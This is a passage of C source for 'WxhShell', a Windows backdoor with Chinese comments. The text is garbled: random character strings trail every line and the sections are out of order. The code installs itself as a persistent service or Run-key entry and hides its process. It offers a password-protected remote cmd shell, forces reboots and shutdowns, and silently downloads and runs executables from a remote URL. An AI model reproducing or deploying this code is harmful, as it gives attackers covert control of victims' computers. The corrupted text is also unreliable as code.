    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &;DCN  
    if(Boot(SHUTDOWN)) Z)7{~xq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mkSu $c  
    else { |{#St-!-7  
    closesocket(wsh); |5^ iqW  
    ExitThread(0); ]3 "0#Y  
    } |/Vq{gxp+  
    break; 2u]G]: ml  
    } dcf,a<K\  
  // 获取shell B ~v6_x  
  case 's': { tK3$,9+  
    CmdShell(wsh); Cff6EE  
    closesocket(wsh); A?MM9Y}K  
    ExitThread(0); QNbZ)  
    break; G#%Sokkb'  
  } 9C7Npf?~M  
  // 退出 Fl)nmwO c  
  case 'x': { TzKM~a#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JG;}UuHYM  
    CloseIt(wsh); lf=G  
    break; -C2!`/U  
    } ^&;,n.X5Z  
  // 离开 <-1:o*8:}  
  case 'q': { U6-47m0%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lat5n&RP Y  
    closesocket(wsh); [[[C`H@  
    WSACleanup(); |sGJum&=  
    exit(1); Uh0g !zzp  
    break; 3HyOQD"{  
        } #x.v)S  
  } 'd N1~Pa  
  } CzlG#?kU?2  
dQ*^WNUB  
  // 提示信息 ./I?|ih  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -7!L]BcZ.  
} y{M7kYWtHV  
  } ! VT$U6  
,#XXwm ^I  
  return; "EpH02{i  
} T`^Jw s{;7  
reR@@O  
// shell模块句柄 <oXBkCi0r  
int CmdShell(SOCKET sock) &Sg]P  
{ w<~[ad}  
STARTUPINFO si; uG -+&MU?  
ZeroMemory(&si,sizeof(si)); U`[viH>K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |[~ S&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a=W%x{  
PROCESS_INFORMATION ProcessInfo; vVMoCG"f  
char cmdline[]="cmd"; yf*'=q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u"zR_CzYc  
  return 0; v2tVq_\AMx  
} I:t ?#)wl  
2c]751  
// 自身启动模式 *04}84?:  
int StartFromService(void) 7#wB  
{ n><ad*|MX  
typedef struct ;i.MDW^N  
{ PK|qiu-O&*  
  DWORD ExitStatus; \5tG>>c i  
  DWORD PebBaseAddress; wdt2T8`I/  
  DWORD AffinityMask; 8N)Lck2PR  
  DWORD BasePriority; 4Y'Ne2M{  
  ULONG UniqueProcessId; :ek^M (  
  ULONG InheritedFromUniqueProcessId; <r <{4\%}  
}   PROCESS_BASIC_INFORMATION; 5mV!mn:H:  
X9PbU1o;  
PROCNTQSIP NtQueryInformationProcess; rMVcoO@3  
^O<v'\!z-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;ZuHv {=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'DXT7|Df  
3f$n8>mq  
  HANDLE             hProcess; KC&XOI %  
  PROCESS_BASIC_INFORMATION pbi; J0vQqTaT  
rRe^7xGe7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (xvg.Nby  
  if(NULL == hInst ) return 0; $@kOMT  
N"<.v6Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0'f\>4B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;o)'dK  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wZ0bD&B  
gFuK/]gzI  
  if (!NtQueryInformationProcess) return 0; *.eeiSi{  
oMemF3M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8&HBR #  
  if(!hProcess) return 0; X]9<1[f  
u(yN81  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H!0m8LCnb  
"5dke^yk0  
  CloseHandle(hProcess); }|/A &c  
!"<rlB,J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b 1.S21  
if(hProcess==NULL) return 0; sqpo5~  
117lhx].'  
HMODULE hMod; &Jb$YKt  
char procName[255]; %m/lPL  
unsigned long cbNeeded; r [^.\&-  
i,"Xw[H*s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4~A$u^scn  
X0+E!~X$zM  
  CloseHandle(hProcess); _1Rw~}O  
,]yS BAO  
if(strstr(procName,"services")) return 1; // 以服务启动 R+ \%  
{[:C_Up)f  
  return 0; // 注册表启动 ID`C  
} AfhJ6cSIE  
x&J\swN9  
// 主模块 OA6i/3 #8  
int StartWxhshell(LPSTR lpCmdLine) "(W;rl  
{ P5B,= K>r  
  SOCKET wsl; " wT?$E  
BOOL val=TRUE; G"m0[|XH  
  int port=0; Qp[ Jw?a  
  struct sockaddr_in door; KyT=:f V  
un!v1g9O  
  if(wscfg.ws_autoins) Install(); A{-S )Z3}  
NTX0vQG  
port=atoi(lpCmdLine); /kyO,g$9  
x ~)~v?>T  
if(port<=0) port=wscfg.ws_port; $X-PjQb1Bb  
B_[I/ ?  
  WSADATA data; MC,Qv9m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XRkUv>Yk  
&0[ L2x}7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '?m2|9~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q_fgpjEh/t  
  door.sin_family = AF_INET; *XWu)>*o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ud)WH|Z  
  door.sin_port = htons(port); [/*;}NUv  
Xl2g Hh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *) B \M>  
closesocket(wsl); !nJl.Y$  
return 1; NTZ3Np`  
} RuVk>(?WK%  
|[5;dt_U/  
  if(listen(wsl,2) == INVALID_SOCKET) { ,0AS&xs$  
closesocket(wsl); YWd2bRb  
return 1; 9?hF<}1XH}  
} IFr"IOr'l  
  Wxhshell(wsl); z8S]FpM6  
  WSACleanup(); >*O5Ry:4  
bG"FN/vg  
return 0; "v wLj:  
wDoCc:  
} W!.FnM5x  
uMG y-c  
// 以NT服务方式启动 sl$y&C-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _nzq(m1@  
{ D2D+S  
DWORD   status = 0; /<[_V/g[t?  
  DWORD   specificError = 0xfffffff; %YF /=l  
X1}M_h %  
  serviceStatus.dwServiceType     = SERVICE_WIN32; x4g6Qze  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MW +DqT.h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sVP\EF8PY  
  serviceStatus.dwWin32ExitCode     = 0; nXfz@q  
  serviceStatus.dwServiceSpecificExitCode = 0; v+sF0 j\P  
  serviceStatus.dwCheckPoint       = 0; 't8!.k  
  serviceStatus.dwWaitHint       = 0; yr>J^Et%_  
.i_ gE5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KgD$P(J:[  
  if (hServiceStatusHandle==0) return; DH _~,tK9  
U)-aecB!  
status = GetLastError(); t'W6Fmwkx  
  if (status!=NO_ERROR) pcOi%D,o  
{ ,*lns.|n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; F:<+}{Av  
    serviceStatus.dwCheckPoint       = 0; jM6$R1HX  
    serviceStatus.dwWaitHint       = 0; #>_fYjT  
    serviceStatus.dwWin32ExitCode     = status; hB\BFVUSn/  
    serviceStatus.dwServiceSpecificExitCode = specificError; RB""(<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \J?&XaO=  
    return; mqJD+ K  
  } og+Vrd  
W}D[9zo/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; a8[%-eW,  
  serviceStatus.dwCheckPoint       = 0; ny^uNIRPR  
  serviceStatus.dwWaitHint       = 0; ;{iTS sb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3#udz C  
} {#z47Rz  
$[cB6  
// 处理NT服务事件,比如:启动、停止 g.:ZMV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @c8RlW/A  
{ <$uDN].T4  
switch(fdwControl) +dq2}gM  
{ n.5M6i/~a  
case SERVICE_CONTROL_STOP: |4aU&OX  
  serviceStatus.dwWin32ExitCode = 0; d@Bd*iI<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,e`n2)  
  serviceStatus.dwCheckPoint   = 0; 1,Pg^Xu  
  serviceStatus.dwWaitHint     = 0; k-s|gC4  
  { bccf4EyQ Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $V<fJpA  
  } | z}VP-L  
  return; <7ag=IgDy  
case SERVICE_CONTROL_PAUSE: 9K&YHg:1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Opy{i#>  
  break; ee Bw\f0  
case SERVICE_CONTROL_CONTINUE: V%M@zd?u.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7Fa1utV I  
  break; !,7)ZW?*8  
case SERVICE_CONTROL_INTERROGATE: nM8'="$  
  break; =7~;*Ts  
}; J<cY'?D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ESS1 L$y  
} fE>JoQs38  
6k37RpgH  
// 标准应用程序主函数 %|2x7@&s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 6TQ[2%X'  
{ v&66F`  
kk CoOTe&  
// 获取操作系统版本 { ux'9SA  
OsIsNt=GetOsVer(); 9I1i(0q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J]NMqi q  
$O;a~/T  
  // 从命令行安装 U:aaa  
  if(strpbrk(lpCmdLine,"iI")) Install(); ronZa0  
@GQtyl;q  
  // 下载执行文件 sa"!ckh  
if(wscfg.ws_downexe) { cS#| _  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) niPqzi  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5S7ATr(*  
} \ tU[,3  
CT=5V@_u\  
if(!OsIsNt) { d8^S~7  
// 如果时win9x,隐藏进程并且设置为注册表启动 >+[{m<Eq  
HideProc(); 1HRcEzA  
StartWxhshell(lpCmdLine); [Z]CBEE  
} %L  nG^L  
else Ee$F]NA  
  if(StartFromService()) ` P*PCiZos  
  // 以服务方式启动 Ige*tOv2  
  StartServiceCtrlDispatcher(DispatchTable); )Y=ti~?M(  
else m]VOw)mBF  
  // 普通方式启动 t1o_x}z4.  
  StartWxhshell(lpCmdLine); q:,ck@-4  
j|r$ ! gV  
return 0; MnW"ksH  
} S"Ag7i  
cN: ek|r  
R+=Xr<`%U|  
A^7}:[s20  
=========================================== DPlmrN9@=  
HwBJUr91]  
U]iZ3^8VT  
)dRB I)P  
DV~g  
o{MmW~/o&  
" )KN]"<jB  
d((,R@N'  
#include <stdio.h> 212  
#include <string.h> N6/;p]|  
#include <windows.h> TI637yqCU  
#include <winsock2.h> #Gu(h(Z s  
#include <winsvc.h> m^1'aO_;q  
#include <urlmon.h> D{iPsH6};5  
@?[}\9dW  
#pragma comment (lib, "Ws2_32.lib") R-BN}ZS  
#pragma comment (lib, "urlmon.lib") I !g+K  
P<R'S  
#define MAX_USER   100 // 最大客户端连接数 M}!E :bv'  
#define BUF_SOCK   200 // sock buffer \7tJ)[0aF  
#define KEY_BUFF   255 // 输入 buffer Wg=4`&F^  
bqm%@*fZo  
#define REBOOT     0   // 重启 axiP~t2  
#define SHUTDOWN   1   // 关机 :.F;LF&  
2[Bw+<YA`  
#define DEF_PORT   5000 // 监听端口 ]*yUb-xY  
A!ak i}aT~  
#define REG_LEN     16   // 注册表键长度 )ZDqj  
#define SVC_LEN     80   // NT服务名长度 [O^mG 9  
k(3FT%p  
// 从dll定义API |F52)<\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G:!'hadw  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \Qe`>nA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]dQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FKkL%:?  
s7na!A[  
// wxhshell配置信息 =s h]H$  
struct WSCFG { Q`[J3-Q*{  
  int ws_port;         // 监听端口 j<_)Y(x>  
  char ws_passstr[REG_LEN]; // 口令 TWo.c _l  
  int ws_autoins;       // 安装标记, 1=yes 0=no Xe:e./@  
  char ws_regname[REG_LEN]; // 注册表键名 35fsr=  
  char ws_svcname[REG_LEN]; // 服务名 =F90SyzTy  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jV|/ C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Tyt1a>! qA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $Rv (v%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no aj@<4A=;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PitDk 1T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }Jk=ZBVjT7  
IRB BLXv7\  
}; ~<Sb:I zld  
/ WJ+e  
// default Wxhshell configuration p+O,C{^f  
struct WSCFG wscfg={DEF_PORT, guWX$C-+1  
    "xuhuanlingzhe", bf-V Q7  
    1, Q[.HoqWK  
    "Wxhshell", EZg$mp1  
    "Wxhshell", 1JSKK.LuJV  
            "WxhShell Service", kESnlmy@J  
    "Wrsky Windows CmdShell Service", ca!DZ%y  
    "Please Input Your Password: ", ,)7y? *D}  
  1, LKe ~  
  "http://www.wrsky.com/wxhshell.exe", :x/L.Bz  
  "Wxhshell.exe" 0X[uXf  
    }; x#,nR]C  
yUp"%_t0  
// 消息定义模块 Q=Y1kcTOn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^Y- S"Ks  
char *msg_ws_prompt="\n\r? for help\n\r#>"; i2(lqhaP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $g+q;Y~i0  
char *msg_ws_ext="\n\rExit."; :ZP`Y%dt'  
char *msg_ws_end="\n\rQuit."; >pq= .)X}  
char *msg_ws_boot="\n\rReboot..."; 76rRF   
char *msg_ws_poff="\n\rShutdown..."; ~AbTbQ3  
char *msg_ws_down="\n\rSave to "; x;p7n 2_  
G tSvb6UNn  
char *msg_ws_err="\n\rErr!"; |$aTJ9 Iq:  
char *msg_ws_ok="\n\rOK!"; |B/A)(c yV  
5zR9N>!c  
char ExeFile[MAX_PATH]; =`%"-A  
int nUser = 0; UpIt"+d2&  
HANDLE handles[MAX_USER]; K\a=bA}DG  
int OsIsNt; Eggdj+  
mhZ60RW  
SERVICE_STATUS       serviceStatus; q=(.N>%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A,'JmF$d  
#Kd^t =k  
// 函数声明 +X&b  
int Install(void); HHU0Nku@ho  
int Uninstall(void); 3A>Bnb  
int DownloadFile(char *sURL, SOCKET wsh); X=U>r  
int Boot(int flag); DEcsFC/SK  
void HideProc(void); xesZ 7{ o  
int GetOsVer(void); {D9m>B3"{  
int Wxhshell(SOCKET wsl); pk,]yi,ZF  
void TalkWithClient(void *cs); mz kv/  
int CmdShell(SOCKET sock); ~xSAR;8  
int StartFromService(void); Q7vTTn\  
int StartWxhshell(LPSTR lpCmdLine); A:-r 2;xB  
oPPxja g\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); UZ` <D/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ':jsCeSB  
gN("{j1Q  
// 数据结构和表定义 4Y#F"+m.]  
SERVICE_TABLE_ENTRY DispatchTable[] = 2y0J~P!I  
{ ,|r%tNh<8$  
{wscfg.ws_svcname, NTServiceMain}, vm y?8E6+  
{NULL, NULL} wmQT$`$b  
}; Xi~%,~  
Z+G.v=2q<  
// 自我安装 &+v!mw>  
int Install(void) WK<:(vu.  
{ wVms"U.  
  char svExeFile[MAX_PATH]; SL O~   
  HKEY key; ~dFdO7  
  strcpy(svExeFile,ExeFile); d}2$J1`  
L~u@n24  
// 如果是win9x系统,修改注册表设为自启动 s.p4+K J  
if(!OsIsNt) { (-:lO{@FsC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yD-L:)@"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +%%Ef]  
  RegCloseKey(key); e M$NVpS3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [$<\*d/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?{Rv/np=F  
  RegCloseKey(key); 6|Qg=4_FHt  
  return 0; bz1+AJG  
    } T|o ]8z  
  } <V~B8C!)  
} ls9 28  
else { BM,]Wjfdj  
'wg>=|Q5  
// 如果是NT以上系统,安装为系统服务 .a0]1IkatV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,L.*95 ,  
if (schSCManager!=0) pp2,d`01[L  
{ S1Nwm?z  
  SC_HANDLE schService = CreateService iW # |N^  
  ( $q iY)RE  
  schSCManager, QQPT=_P]  
  wscfg.ws_svcname, \Xr Sn_p-  
  wscfg.ws_svcdisp, b5u8j  
  SERVICE_ALL_ACCESS, T.}wcQf&*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5!b+^UR;z  
  SERVICE_AUTO_START, 8?za&v  
  SERVICE_ERROR_NORMAL, Jx jP'8  
  svExeFile, OABMIgX  
  NULL, .T63:  
  NULL, |}-bMQ|  
  NULL, 1LK`    
  NULL, b:M1P&R  
  NULL ,Hzz:ce  
  ); )9]DJ!]&Q"  
  if (schService!=0)  l:i&l?>_  
  { (qbL=R"  
  CloseServiceHandle(schService); 2YbI."ob  
  CloseServiceHandle(schSCManager); nc2=S^Fqu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [B,w\PLub  
  strcat(svExeFile,wscfg.ws_svcname); ]VkM)< +  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n ZbINhls  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [qL{w&R  
  RegCloseKey(key); 0ap_tCY  
  return 0; Mjon++>Z  
    } mM$|cge"  
  } 'nMj<:0wlD  
  CloseServiceHandle(schSCManager); =.48^$LWx  
} ]<xzCPB  
} vmj'X>Q  
"M !]t,?S  
return 1; z8@[]6cW  
} Im g$D*BM  
CiNOGSlDj  
// 自我卸载 T2ZB(B D  
int Uninstall(void) ~z kzuh  
{ .}c&" L;W  
  HKEY key; Uk'bOp  
hjgB[ &U>  
if(!OsIsNt) { _yRD*2 !;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bc*FH>E  
  RegDeleteValue(key,wscfg.ws_regname); 'nT#c[x[0  
  RegCloseKey(key); ^ 7SE2Zi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fjd)/Gg  
  RegDeleteValue(key,wscfg.ws_regname); 8-PHW,1@a3  
  RegCloseKey(key); FPE%h =sw  
  return 0; PWBcK_4i%  
  } &e6!/y&  
} /os,s[w  
} F;L8FL-  
else { KK}ox%j  
&"?S0S>r!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6Qk[TL)t  
if (schSCManager!=0) bP Q=88*  
{ vB%os Qm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +P=Ikbx AO  
  if (schService!=0) (6*  
  { .>a [  
  if(DeleteService(schService)!=0) { 1{A K=H')  
  CloseServiceHandle(schService); 82M` sk3.  
  CloseServiceHandle(schSCManager); RKPX*(i~  
  return 0; jVPX]8  
  } +ag_w}  
  CloseServiceHandle(schService); RcC5_@W  
  } 1Ror1%Q"?  
  CloseServiceHandle(schSCManager); fKW)h?.Kd  
} G*f\ /  
} 7^7Jh&b)/  
`W:z#uNG]  
return 1; W\2 ']7}e  
} <L+1 &H  
P1R5}i  
// 从指定url下载文件 Z(XohWe2  
int DownloadFile(char *sURL, SOCKET wsh) "~mY4WVG  
{ ~F^tLi!5  
  HRESULT hr; ^=k=;   
char seps[]= "/"; 4T-"\tmg/  
char *token; r )HZaq  
char *file; & 'CUc/,  
char myURL[MAX_PATH]; as(/ >p  
char myFILE[MAX_PATH]; 2EO x],(|  
.DI?-=p|_#  
strcpy(myURL,sURL); O0FUJGuTS  
  token=strtok(myURL,seps); /J(vqYK"  
  while(token!=NULL) P{x6e/  
  { ez5J+  
    file=token; r1TdjnP,2^  
  token=strtok(NULL,seps); Sn0kJIb }  
  } Ze[,0Y!u&  
/Kh,  
GetCurrentDirectory(MAX_PATH,myFILE); VEpcCK  
strcat(myFILE, "\\"); 4l7 Ny\J  
strcat(myFILE, file); I tb_ H  
  send(wsh,myFILE,strlen(myFILE),0); RRXp9{x`  
send(wsh,"...",3,0); 7{]dh+)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9;'#,b*(  
  if(hr==S_OK) : 0 ,yq?M  
return 0; x0b=r!Duu  
else aL_/2/@X8  
return 1; &=x4M]t9L  
"X^<g{]  
} ]BUirJ,2  
 DR{O.TX  
// 系统电源模块 ^vPsp?  
int Boot(int flag) x9AFN  
{ d!UxFY@  
  HANDLE hToken; >[Wjzg  
  TOKEN_PRIVILEGES tkp; /`l;u 7RD  
tRpY+s~Fq  
  if(OsIsNt) { 33EF/k3vW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +ZwoA_k{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ix6\5}.c9  
    tkp.PrivilegeCount = 1; q" f65d4c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,:e~aG,B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k#zDY*kj  
if(flag==REBOOT) { #G.eiqh$a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ) $_1U!z  
  return 0; 5 ty2e`~K  
} ZMb+sUK  
else { :09NZ !!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) bY2R/FNL=  
  return 0; K6t"98  
} p<=Lh47 =  
  } ":8\2Qp  
  else { DtFHh/X  
if(flag==REBOOT) { vMB61 |O  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D>[Sib/@  
  return 0; 5XUm}D$  
} fj;ZGbg-O  
else { >]pZ;e$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *qm|A{FQR  
  return 0; E<Zf!!3  
} *{vH9TO  
} m~5 unB9  
{KNaJ/:>W  
return 1;  ce9P-}d  
} hNM8H  
O{_t*sO9q*  
// win9x进程隐藏模块 2+rT .GFc  
void HideProc(void) j*<J&/luYZ  
{ 6[3Xe_  
L@{'J  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AQUAQZc  
  if ( hKernel != NULL ) x[)-h/&Fh  
  { PPB/-F]rr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @  W>@6E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x.*^dM@V  
    FreeLibrary(hKernel); Dj(PH3^  
  } ~^1y(-cw  
SYY x>1;8`  
return; e'.BTt58Y  
} `/PBZnj  
bW6| &P}X  
// 获取操作系统版本 p>7qyZ8  
int GetOsVer(void) Nn[*ox#i  
{ g:M;S"U3*Y  
  OSVERSIONINFO winfo; E2'Wzrovlo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ik(Du/  
  GetVersionEx(&winfo); {Nl?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CW+kKN  
  return 1; $Y|OGZH8E  
  else -`PziG l@<  
  return 0; ~a ([e\~  
} SA +d4P_T  
o}v<~v(  
// 客户端句柄模块 #"N60T@  
int Wxhshell(SOCKET wsl) yjjq&Cn  
{ {$z54nvw$  
  SOCKET wsh; Wk0E7Pr  
  struct sockaddr_in client; ~.W]x~X$  
  DWORD myID; $xWwI( SaB  
0V1GX~2  
  while(nUser<MAX_USER) i<"lXu  
{ .G[/4h :.  
  int nSize=sizeof(client); &>zH.6%$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @ wR3L:@  
  if(wsh==INVALID_SOCKET) return 1; i//H5D3  
^cYB.oeu  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); MT-Tt  
if(handles[nUser]==0) /TpTR-\I0  
  closesocket(wsh); dEJqgp}\p  
else *]]Zpa6  
  nUser++; oV vA`}  
  } 1C<cwd;9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `9^tuR,  
L!cOg8Z  
  return 0; ZM.'W}J{ *  
} Pf[E..HF*d  
M`cxxDj&j  
// 关闭 socket FgH7YkKrD  
void CloseIt(SOCKET wsh) EV?}oh"x  
{ $,}jz.R@  
closesocket(wsh); n~ *|JJ*`  
nUser--; p3M!H2W  
ExitThread(0); ]=~dyi  
} bXs=<`>  
h$02#(RHJ  
// 客户端请求句柄 <F7a!$zQ  
void TalkWithClient(void *cs) Hm2Y% 4i%  
{ 1{a%V$S[  
s)E  \  
  SOCKET wsh=(SOCKET)cs; /.SG? 5t4  
  char pwd[SVC_LEN]; yqx5_}  
  char cmd[KEY_BUFF]; 1$&@wG  
char chr[1]; ,Pa*; o\  
int i,j; 8&2 +=<Q~  
y#GHmHeh  
  while (nUser < MAX_USER) { ~XOmxz0  
G=:/v  
if(wscfg.ws_passstr) {  QHNyH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &r1(1<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zy,SL |6:  
  //ZeroMemory(pwd,KEY_BUFF); %B$ftsYXmu  
      i=0; t7]j6>MK3q  
  while(i<SVC_LEN) { xgk~%X%K  
+M-tYE 5n  
  // 设置超时 2^o7 ^S  
  fd_set FdRead; %,@pV%2  
  struct timeval TimeOut; ,jY:@<n  
  FD_ZERO(&FdRead); \FsA-W\X  
  FD_SET(wsh,&FdRead); %YR&>j k  
  TimeOut.tv_sec=8; p>tkRA?lk  
  TimeOut.tv_usec=0; ^\}qq>_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); H,(vTthd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =z'(FP5!0  
u9"=t  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vG_R( ]d  
  pwd=chr[0]; Pxr/*X  
  if(chr[0]==0xd || chr[0]==0xa) { Y9^l|,bm5  
  pwd=0; 91]|4k93  
  break; nm5DNpHk  
  } Py;5z  
  i++; \GL] I.  
    } G0 )[(s  
R/~!km  
  // 如果是非法用户,关闭 socket +YvF+E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D kWp  
} z x-[@G  
s;vt2>;q+e  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !8G)` '  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jYVs\h6  
M {jXo%C  
while(1) { Q4cCg7|0  
$'V^_|EL7  
  ZeroMemory(cmd,KEY_BUFF); ^{}G4BEY  
tc'iKJ5)  
      // 自动支持客户端 telnet标准   bLg!LZ|S0s  
  j=0; lAN&d;NU6Z  
  while(j<KEY_BUFF) { }k }=e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G=cRdiy`C  
  cmd[j]=chr[0]; 63 oe0T&  
  if(chr[0]==0xa || chr[0]==0xd) { 0Q{lyu  
  cmd[j]=0; LQ~|VRRX<  
  break; bL7Gkbs&|  
  } C'I&<  
  j++; 8!2)=8|f  
    } ZH Q?{"  
J@-'IJ  
  // 下载文件 4FaO+Eo,8  
  if(strstr(cmd,"http://")) { (u 7Lh>6%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {?yVA  
  if(DownloadFile(cmd,wsh)) dUv@u !}B  
